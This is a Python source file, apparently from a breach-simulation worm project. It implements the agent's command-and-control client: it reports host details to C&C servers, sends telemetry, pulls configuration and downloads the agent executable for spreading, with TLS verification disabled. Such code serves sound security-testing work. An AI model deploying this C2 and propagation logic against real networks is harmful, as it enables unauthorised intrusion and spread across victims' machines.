monkey/chaos_monkey/control.py

197 lines
8.2 KiB
Python
Raw Normal View History

2015-08-30 15:27:35 +08:00
import json
import logging
import requests
import platform
import monkeyfs
from network.info import local_ips, check_internet_access
2015-11-30 16:56:20 +08:00
from socket import gethostname
from config import WormConfiguration, GUID
from transport.tcp import TcpProxy
from transport.http import HTTPConnectProxy
import tunnel
2015-08-30 15:27:35 +08:00
__author__ = 'hoffer'
requests.packages.urllib3.disable_warnings()
2015-08-30 15:27:35 +08:00
LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
2015-08-30 15:27:35 +08:00
2015-11-30 16:56:20 +08:00
2015-08-30 15:27:35 +08:00
class ControlClient(object):
proxies = {}
2015-08-30 15:27:35 +08:00
@staticmethod
def wakeup(parent=None, default_tunnel=None, has_internet_access=None):
2015-12-02 17:18:27 +08:00
LOG.debug("Trying to wake up with C&C servers list: %r" % WormConfiguration.command_servers)
if parent or default_tunnel:
LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel))
hostname = gethostname()
if not parent:
parent = GUID
if has_internet_access is None:
has_internet_access = check_internet_access(WormConfiguration.internet_services)
for server in WormConfiguration.command_servers:
try:
2015-11-30 20:11:19 +08:00
WormConfiguration.current_server = server
2015-08-30 15:27:35 +08:00
2015-11-30 16:56:20 +08:00
monkey = {'guid': GUID,
'hostname': hostname,
'ip_addresses': local_ips(),
'description': " ".join(platform.uname()),
'internet_access': has_internet_access,
2015-11-30 16:56:20 +08:00
'config': WormConfiguration.as_dict(),
'parent': parent}
if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')
2015-12-02 17:18:27 +08:00
debug_message = "Trying to connect to server: %s" % server
if ControlClient.proxies:
debug_message += " through proxies: %s" % ControlClient.proxies
LOG.debug(debug_message)
2015-11-30 20:11:19 +08:00
reply = requests.post("https://%s/api/monkey" % (server,),
data=json.dumps(monkey),
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies,
timeout=20)
break
2015-08-30 15:27:35 +08:00
except Exception, exc:
2015-12-02 17:18:27 +08:00
WormConfiguration.current_server = ""
2015-11-30 20:11:19 +08:00
LOG.warn("Error connecting to control server %s: %s", server, exc)
if not WormConfiguration.current_server:
if not ControlClient.proxies:
LOG.info("Starting tunnel lookup...")
2015-12-02 17:18:27 +08:00
proxy_find = tunnel.find_tunnel(default=default_tunnel)
if proxy_find:
2015-12-02 17:18:27 +08:00
proxy_address, proxy_port = proxy_find
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access)
else:
LOG.info("No tunnel found")
@staticmethod
def keepalive():
if not WormConfiguration.current_server:
return
try:
monkey = {}
if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')
2015-11-30 16:56:20 +08:00
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
data=json.dumps(monkey),
2015-11-30 20:11:19 +08:00
headers={'content-type': 'application/json'},
2015-11-30 16:56:20 +08:00
verify=False,
proxies=ControlClient.proxies)
2015-08-30 15:27:35 +08:00
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
2015-08-30 15:27:35 +08:00
return {}
@staticmethod
2015-11-30 20:11:19 +08:00
def send_telemetry(tele_type='general', data=''):
if not WormConfiguration.current_server:
return
try:
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data': data}
2015-11-30 16:56:20 +08:00
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
data=json.dumps(telemetry),
2015-11-30 20:11:19 +08:00
headers={'content-type': 'application/json'},
2015-11-30 16:56:20 +08:00
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@staticmethod
def load_control_config():
if not WormConfiguration.current_server:
return
try:
2015-11-30 16:56:20 +08:00
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return
2015-08-30 15:27:35 +08:00
try:
WormConfiguration.from_dict(reply.json().get('config'))
2016-01-14 17:58:15 +08:00
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
except Exception, exc:
2016-01-14 17:58:15 +08:00
# we don't continue with default conf here because it might be dangerous
LOG.error("Error parsing JSON reply from control server %s (%s): %s",
WormConfiguration.current_server, reply._content, exc)
raise Exception("Couldn't load from from server's configuration, aborting. %s" % exc)
2016-07-04 15:44:57 +08:00
@staticmethod
def check_for_stop():
ControlClient.load_control_config()
return not WormConfiguration.alive
@staticmethod
def download_monkey_exe(host):
if not WormConfiguration.current_server:
return None
try:
2015-11-30 20:11:19 +08:00
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
data=json.dumps(host.as_dict()),
headers={'content-type': 'application/json'},
verify=False, proxies=ControlClient.proxies)
if 200 == reply.status_code:
result_json = reply.json()
filename = result_json.get('filename')
if not filename:
return None
size = result_json.get('size')
dest_file = monkeyfs.virtual_path(filename)
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
return dest_file
else:
2015-11-30 16:56:20 +08:00
download = requests.get("https://%s/api/monkey/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
with monkeyfs.open(dest_file, 'wb') as file_obj:
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
if chunk:
file_obj.write(chunk)
file_obj.flush()
if size == monkeyfs.getsize(dest_file):
return dest_file
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return None
2015-08-30 15:27:35 +08:00
@staticmethod
def create_control_tunnel():
if not WormConfiguration.current_server:
return None
my_proxy = ControlClient.proxies.get('https', '').replace('https://', '')
if my_proxy:
proxy_class = TcpProxy
try:
target_addr, target_port = my_proxy.split(':', 1)
target_port = int(target_port)
except:
return None
else:
proxy_class = HTTPConnectProxy
2015-12-03 15:39:54 +08:00
target_addr, target_port = None, None
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)